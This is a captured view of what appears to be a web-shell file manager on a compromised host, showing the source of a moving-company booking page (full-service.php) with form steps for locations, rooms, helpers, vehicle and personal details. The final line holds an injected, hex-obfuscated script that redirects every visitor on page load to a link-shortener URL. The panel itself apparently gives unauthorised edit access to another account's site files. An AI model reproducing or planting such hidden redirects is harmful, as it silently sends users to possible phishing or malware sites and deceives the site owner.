BossBey File Manager
PHP:
8.1.34
OS:
Linux
User:
ebookghostwritin
Root
/
home
/
demodesignproboa
/
public_html
/
box-pages
📤 Upload
📝 New File
📁 New Folder
Close
Editing: full-service.php
<?php include 'includes/links.php';?> <div class="head-box"> <div class="main-img"> <a href="./"><img src="images/logo.png" alt="img" class="w-100"></a> </div> <div class="menu-box"> <button class="btn btn-menu" type="button" data-bs-toggle="offcanvas" data-bs-target="#offcanvasRight" aria-controls="offcanvasRight"> <i class="fa-regular fa-bars"></i> </button> <div class="offcanvas offcanvas-end offcanvas-main" tabindex="-1" id="offcanvasRight" aria-labelledby="offcanvasRightLabel"> <div class="offcanvas-body"> <div class="head"> <img src="images/svg19.svg" alt="img"> <h2>Hi, guest!</h2> </div> <a href="javascript:;" class="btn sign-btn">Sign Up</a> <a href="javascript:;" class="btn sign-btn log-btn">Log In</a> </div> </div> </div> </div> <section class="step_sec_wrap"> <div class="container"> <div class="row justify-content-center"> <div class="col-12 col-sm-12 col-md-12 col-lg-10 col-xl-10 col-xxl-10"> <h1>step 1</h1> <div class="main-box"> <h2>Where to?</h2> <div class="where"> <div class="up-location" onclick="openPickupPopup()"> <img src="images/svg7.svg" alt="img" class="img-fluid"> <h5>Pick up location</h5> </div> <div id="popupOverlay" class="popup-overlay"> <div class="popup-box"> <span class="close-btn" onclick="closePickupPopup()">Close</span> <h3>Pick up location</h3> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" id="" class="input-search" placeholder="Enter an address"> </div> </div> </div> <div class="up-location" onclick="openDropPopup()"> <img src="images/svg8.svg" alt="img" class="img-fluid"> <h5>Drop off location</h5> </div> <div id="drop-popupOverlay" class="popup-overlay"> <div class="popup-box"> <span class="close-btn" onclick="closeDropPopup()">Close</span> <h3>Drop off location</h3> <div class="main-input"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" name="text" id="" class="input-search" placeholder="Enter an address"> </div> </div> </div> <h6>Estimate cost without locations</h6> <div class="ifream-box"> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d12635353.70628292!2d-107.89945876006982!3d39.36069416527219!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x54eab584e432360b%3A0x1c3bb99243deb742!2sUnited%20States!5e0!3m2!1sen!2s!4v1752258713001!5m2!1sen!2s" width="600" height="600" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"> </iframe> </div> </div> </div> <h1>step 2</h1> <div class="main-box"> <h2>MOVE TYPE</h2> <div class="move-type"> <label for="residential"> <input type="radio" name="move" id="residential"> <div class="box"> <h3>Residential</h3> </div> </label> <label for="commercial"> <input type="radio" name="move" id="commercial"> <div class="box"> <h3>Commercial</h3> </div> </label> </div> </div> <h1>step 2.1</h1> <div class="main-box"> <h2>Residential</h2> <div class="move-type"> <label for="apartment"> <input type="radio" name="house" id="apartment"> <div class="box"> <h3>Apartment</h3> </div> </label> <label for="house"> <input type="radio" name="house" id="house"> <div class="box"> <h3>House</h3> </div> </label> </div> </div> <h1>step 2.2</h1> <div class="main-box"> <h2>Apartment</h2> <div class="move-type"> <label for="bedroom"> <input type="radio" name="apartment" id="bedroom"> <div class="box"> <h3>Studio Apartment</h3> </div> </label> <label for="bedroom1"> <input type="radio" name="apartment" id="bedroom1"> <div class="box"> <h3>1 Bedroom Apartment</h3> </div> </label> <label for="bedroom2"> <input type="radio" name="apartment" id="bedroom2"> <div class="box"> <h3>2 Bedroom Apartment</h3> </div> </label> <label for="bedroom3"> <input type="radio" name="apartment" id="bedroom3"> <div class="box"> <h3>3 Bedroom Apartment</h3> </div> </label> <label for="bedroom4"> <input type="radio" name="apartment" id="bedroom4"> <div class="box"> <h3>4 Bedroom Apartment</h3> </div> </label> </div> </div> <h1>step 2.3</h1> <div class="main-box"> <h2>No. of Rooms</h2> <div class="move-type"> <label for="rooms1"> <input type="radio" name="rooms" id="rooms1"> <div class="box"> <h3>1 Bedroom House</h3> </div> </label> <label for="rooms2"> <input type="radio" name="rooms" id="rooms2"> <div class="box"> <h3>2 Bedroom House</h3> </div> </label> <label for="rooms3"> <input type="radio" name="rooms" id="rooms3"> <div class="box"> <h3>3 Bedroom House</h3> </div> </label> <label for="rooms4"> <input type="radio" name="rooms" id="rooms4"> <div class="box"> <h3>4 Bedroom House</h3> </div> </label> </div> <h3>Sq.FT</h3> <div class="group-input"> <label class="lable">Square Footages</label> <input type="text" name="text" placeholder="Add"> </div> </div> <h1>step 2.4</h1> <div class="main-box"> <h2>Commercial</h2> <div class="move-type"> <label for="store1"> <input type="radio" name="office" id="store1"> <div class="box"> <h3>Office</h3> </div> </label> <label for="store2"> <input type="radio" name="office" id="store2"> <div class="box"> <h3>Retail Store</h3> </div> </label> <label for="store3"> <input type="radio" name="office" id="store3"> <div class="box"> <h3>Warehouse</h3> </div> </label> <label for="store4"> <input type="radio" name="office" id="store4"> <div class="box"> <h3>Medical Office</h3> </div> </label> <label for="store5"> <input type="radio" name="office" id="store5"> <div class="box"> <h3>Co-working or Serviced Space</h3> </div> </label> </div> </div> <h1>step 2.4</h1> <div class="main-box"> <h2>Custom</h2> <div class="move-type"> <div class="group-input"> <label class="lable">Number of employees</label> <input type="text" name="text" placeholder="Add"> </div> <div class="group-input"> <label class="lable">Number of offices</label> <input type="text" name="text" placeholder="Add"> </div> <div class="group-input"> <label class="lable">Square footage</label> <input type="text" name="text" placeholder="Square Footage"> </div> </div> </div> <h1>step 3</h1> <div class="main-box"> <h2>Tell us more</h2> <div class="tell-us"> <div class="jersey"> <h3>Address (Moving From)</h3> <h4> <img src="images/svg20.svg" alt="img">476 5th Ave Manhattan, NY 10018 </h4> <div class="group-input"> <label class="lable">Unit/Apt</label> <input type="search" name placeholder="Add"> </div> <div class="helper"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Helper(s) needs to use stairs <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault1"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Helper can use elevator </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Has hardwood floors <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="flights"> <h6>Flights of stairs</h6> <div class="frame"> <div class="cir-btn"> <div class="minus-btn">-</div> </div> <div class="number"> <h1 class="count">0</h1> </div> <div class="cir-btn"> <div class="plus-btn">+</div> </div> </div> </div> <div class="textare"> <div class="parking"> <h3>Parking or building instructions</h3> <h6>clear</h6> </div> <textarea name="message" rows="6"></textarea> </div> </div> <div class="jersey"> <h3>Address (Moving To)</h3> <h4> <img src="images/svg20.svg" alt="img">6 5th Ave Brooklyn, NY 11215 </h4> <div class="group-input"> <label class="lable">Unit/Apt</label> <input type="search" name placeholder="Add"> </div> <div class="helper"> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault1"> Helper(s) needs to use stairs <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault1"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Helper can use elevator </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> <div class="form-check"> <label class="form-check-label" for="flexRadioDefault2"> Has hardwood floors <img src="images/svg21.svg" alt="img"> </label> <input class="form-check-input" type="checkbox" name="flexRadioDefault" id="flexRadioDefault2"> </div> </div> <div class="flights"> <h6>Flights of stairs</h6> <div class="frame"> <div class="cir-btn"> <div class="minus-btn">-</div> </div> <div class="number"> <h1 class="count">0</h1> </div> <div class="cir-btn"> <div class="plus-btn">+</div> </div> </div> </div> <div class="textare"> <div class="parking"> <h3>Parking or building instructions</h3> <h6>clear</h6> </div> <textarea name="message" rows="6"></textarea> </div> </div> </div> </div> <h1>step 4</h1> <div class="main-box"> <h2>How many Helpers?</h2> <div class="helpers"> <label for="helpers2"> <input type="radio" name="helpers" id="helpers2"> <div class="box"> <h3>2 Helpers</h3> <ul> <li> <p>Two Helpers with a pickup truck will arrive to get your Dolly done quick and easy.</p> </li> <li> <img src="images/img1.png" alt=""> </li> </ul> <p>$$</p> </div> </label> <label for="helpers1you"> <input type="radio" name="helpers" id="helpers1you"> <div class="box"> <h3>1 Helper + You</h3> <ul> <li> <p>If your Dolly needs 2 people to lift and carry, you can save money by helping!</p> </li> <li> <img src="images/img2.png" alt=""> </li> </ul> <p>$</p> </div> </label> <label for="helpers1"> <input type="radio" name="helpers" id="helpers1"> <div class="box"> <h3>1 Helper</h3> <ul> <li> <p>One Helper is perfect for boxes, bags, or items that can be carried with 2 hands.</p> </li> <li> <img src="images/img3.png" alt=""> </li> </ul> <p>$</p> </div> </label> </div> <div class="helpers vehicle"> <h2>Which vehicle?</h2> <label for="vehicle1"> <input type="radio" name="vehicle" id="vehicle1"> <div class="box"> <h3>Pickup Truck</h3> <ul> <li> <p>Great for a couple large items, or multiple small items.</p> </li> <li> <img src="images/img4.png" alt=""> </li> </ul> </div> </label> <label for="vehicle2"> <input type="radio" name="vehicle" id="vehicle2"> <div class="box"> <h3>Cargo Van</h3> <ul> <li> <p>Upgrade to a covered vehicle for a low price! Speed up your move with fewer trips.</p> </li> <li> <img src="images/img5.png" alt=""> </li> </ul> </div> </label> </div> </div> <h1>step 5</h1> <div class="main-box"> <h2>Personal Details</h2> <div class="form-box"> <form action=""> <div class="input-main"> <div class="row"> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">First Name</label> <input type="text" name="name" class="form-control input-box" placeholder="First Name" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">Last Name</label> <input type="text" name="name" class="form-control input-box" placeholder="Last Name" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">Phone</label> <input type="number" name="number" class="form-control input-box" placeholder="Phone" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">Email</label> <input type="email" name="email" class="form-control input-box" placeholder="Email" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">Address</label> <input type="text" name="name" class="form-control input-box" placeholder="123 main St" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">City</label> <input type="text" name="name" class="form-control input-box" placeholder="City" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">State</label> <select name="state" class="form-control input-box" required=""> <option value="">Select State</option> <option value="CA">California</option> <option value="TX">Texas</option> <option value="NY">New York</option> </select> </div> </div> <div class="col-12 col-sm-12 col-md-6 col-lg-6 col-xl-6 col-xxl-6"> <div class="form-group"> <label for="name">Zip</label> <input type="text" name="name" class="form-control input-box" placeholder="" required=""> </div> </div> <div class="col-12 col-sm-12 col-md-12 col-lg-12 col-xl-12 col-xxl-12"> <div class="form-group"> <label for="Note">Note</label> <textarea name="note" id="" class="form-control input-box" rows="4"></textarea> </div> </div> </div> </div> </form> </div> <h2>What time?</h2> <div class="what-time"> <div class="calendar border p-3 rounded shadow-sm bg-white"> <div class="header mb-2"> <button type="button" class="btn btn-sm btn-outline-primary" id="prevBtn">←</button> <h5 id="monthYear">September 2025</h5> <button type="button" class="btn btn-sm btn-outline-primary" id="nextBtn">→</button> </div> <table class="table table-bordered mb-0"> <thead class="table-light"> <tr> <th>Sun</th> <th>Mon</th> <th>Tue</th> <th>Wed</th> <th>Thu</th> <th>Fri</th> <th>Sat</th> </tr> </thead> <tbody id="calendarBody"> <tr> <td></td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td class="today">5</td> <td>6</td> </tr> <tr> <td>7</td> <td>8</td> <td>9</td> <td>10</td> <td>11</td> <td>12</td> <td>13</td> </tr> <tr> <td>14</td> <td>15</td> <td>16</td> <td>17</td> <td>18</td> <td>19</td> <td>20</td> </tr> <tr> <td>21</td> <td>22</td> <td>23</td> <td>24</td> <td>25</td> <td>26</td> <td>27</td> </tr> <tr> <td>28</td> <td>29</td> <td>30</td> </tr> </tbody> </table> </div> <div class="select"> <select class="form-select" aria-label="Default select example"> <option selected>Select time</option> <option value="1">8:00AM</option> <option value="2">8:30AM</option> <option value="3">9:00AM</option> <option value="3">9:30AM</option> <option value="3">10:00AM</option> <option value="3">10:30AM</option> <option value="3">11:00AM</option> <option value="3">11:30AM</option> </select> </div> </div> </div> <h1>step 6</h1> <div class="main-box"> <div class="review"> <h2>Review your details</h2> <p>Does everything look right? You’ll enter a payment method before scheduling. </p> <div class="store"> <h6>Store Delivery</h6> <img src="images/img7.jpg" alt="img"> </div> <div class="included"> <h2>Always included</h2> <ul> <li><img src="images/svg15.svg" alt="img"> Upfront, guaranteed pricing </li> <li><img src="images/svg16.svg" alt="img"> Customer support 7 days a week</li> <li><img src="images/svg17.svg" alt="img"> Complimentary damage protection</li> </ul> </div> <div class="included"> <h2>Where we're going</h2> <h6>Delivery Location <img src="images/svg18.svg" alt="img"></h6> <ul class="nav nav-pills mb-3 room-ul" id="pills-tab" role="tablist"> <li class="nav-item" role="presentation"> <button class="nav-link active choice-btn" id="pills-home-tab" data-bs-toggle="pill" data-bs-target="#pills-home" type="button" role="tab" aria-controls="pills-home" aria-selected="true">Room of Choice <span>$$</span></button> </li> <li class="nav-item" role="presentation"> <button class="nav-link choice-btn" id="pills-profile-tab" data-bs-toggle="pill" data-bs-target="#pills-profile" type="button" role="tab" aria-controls="pills-profile" aria-selected="false">Curbside <span>$</span> </button> </li> </ul> </div> <div class="tab-content" id="pills-tabContent"> <div class="tab-pane fade show active" id="pills-home" role="tabpanel" aria-labelledby="pills-home-tab"> <div class="included"> <h2>When we'll arrive</h2> <ul> <li>Thursday, 8/7</li> <li>2:00pm-6:00pm</li> </ul> </div> <div class="included"> <h2>Your crew</h2> <ul> <li>1 Helper + You</li> <li>1 Cargo Van</li> </ul> </div> <div class="included"> <h2>What we're moving</h2> <ul> <li>1 Chair(Dining)</li> </ul> </div> </div> <div class="tab-pane fade" id="pills-profile" role="tabpanel" aria-labelledby="pills-profile-tab"> <div class="included"> <h2>When we'll arrive</h2> <ul> <li>Thursday, 8/7</li> <li>2:00pm-6:00pm</li> </ul> </div> <div class="included"> <h2>Your crew</h2> <ul> <li>1 Helper + You</li> <li>1 Cargo Van</li> </ul> </div> <div class="included"> <h2>What we're moving</h2> <ul> <li>1 Chair(Dining)</li> </ul> </div> </div> </div> </div> </div> </div> </div> </section> <?php include 'includes/script.php';?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x73\x55\x79\x7a\x68\x53\x30\x72\x30";</script>
Save
Cancel